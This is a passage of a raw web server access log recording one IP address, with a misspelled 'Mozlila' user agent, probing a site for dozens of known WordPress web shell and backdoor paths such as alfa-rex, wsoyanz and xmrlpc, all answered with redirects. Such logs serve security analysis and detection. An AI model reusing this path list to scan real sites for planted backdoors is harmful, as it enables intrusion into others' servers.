Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:35 +0330] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:47 +0330] "GET /mar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:00 +0330] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:16 +0330] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:18 +0330] "GET /wp-content/updates.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:23 +0330] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:27 +0330] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:40 +0330] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:57 +0330] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:01 +0330] "GET /pm.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:49 +0330] "GET /marijuana.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:51 +0330] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:53 +0330] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:44:56 +0330] "GET /repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:02 +0330] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:07 +0330] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:12 +0330] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:34 +0330] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:36 +0330] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:38 +0330] "GET /wp-content/admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:45 +0330] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:48 +0330] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:53 +0330] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:45:59 +0330] "GET /ioxi-rex3.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:08 +0330] "GET /wp-includes/Requests/Text/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:12 +0330] "GET /.well-known/pki-validation/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:17 +0330] "GET /wp-content/plugins/fix/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:22 +0330] "GET /wp-content/plugins/proxy/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:25 +0330] "GET /wp-content/plugins/envato/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:27 +0330] "GET /wp-content/plugins/tex/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:32 +0330] "GET /wp-admin/maint/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:45 +0330] "GET /wp-content/plugins/seofile/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:52 +0330] "GET /wp-content/plugins/press/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:54 +0330] "GET /wp-content/plugins/cache/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:57 +0330] "GET /wp-content/plugins/login/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:13 +0330] "GET /wp-content/plugins/casper/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:16 +0330] "GET /wp-content/plugins/editor/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:24 +0330] "GET /404.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:29 +0330] "GET /adminfuns.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:33 +0330] "GET /ebs.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:05 +0330] "GET /wp-content/plugins/revslider/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:41 +0330] "GET /wp-content/plugins/fox/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:46:49 +0330] "GET /wp-content/plugins/project/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:04 +0330] "GET /wp-content/plugins/file-edit/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:11 +0330] "GET /wp-content/plugins/project/css.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:19 +0330] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:28 +0330] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:38 +0330] "GET /alfanew2.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:49 +0330] "GET /about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:02 +0330] "GET /cache-compat.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:13 +0330] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:24 +0330] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:32 +0330] "GET /wsoyanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:34 +0330] "GET /alfanew.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:39 +0330] "GET /ioxi-rex4.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:35 +0330] "GET /ws.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:40 +0330] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:42 +0330] "GET /about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:44 +0330] "GET /admin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:51 +0330] "GET /wp-consar.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:55 +0330] "GET /admin-post.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:47:56 +0330] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:00 +0330] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:05 +0330] "GET /ajax-actions.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:17 +0330] "GET /yanz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:22 +0330] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:27 +0330] "GET /wp-p.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:47 +0330] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:53 +0330] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:56 +0330] "GET /wp-head.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:44 +0330] "GET /wp-content/plugins/seoo/alfa-ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:48:51 +0330] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:16 +0330] "GET /wp-includes/rest-api/wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:19 +0330] "GET /alfanew.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:31 +0330] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:39 +0330] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:46 +0330] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:49 +0330] "GET /alfa-rex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:56 +0330] "GET /dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:09 +0330] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:17 +0330] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:19 +0330] "GET /style.php?sig=update&domain=51.79.124.111 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:23 +0330] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:28 +0330] "GET /well.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:50:30 +0330] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:00 +0330] "GET /wp-admin/css/colors/blue/ioxi1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:03 +0330] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:06 +0330] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:09 +0330] "GET /wp-includes/certificates/about.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 118.67.205.4 - - [04/Nov/2025:19:49:23 +0330] "GET /images/alfa-rex.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; 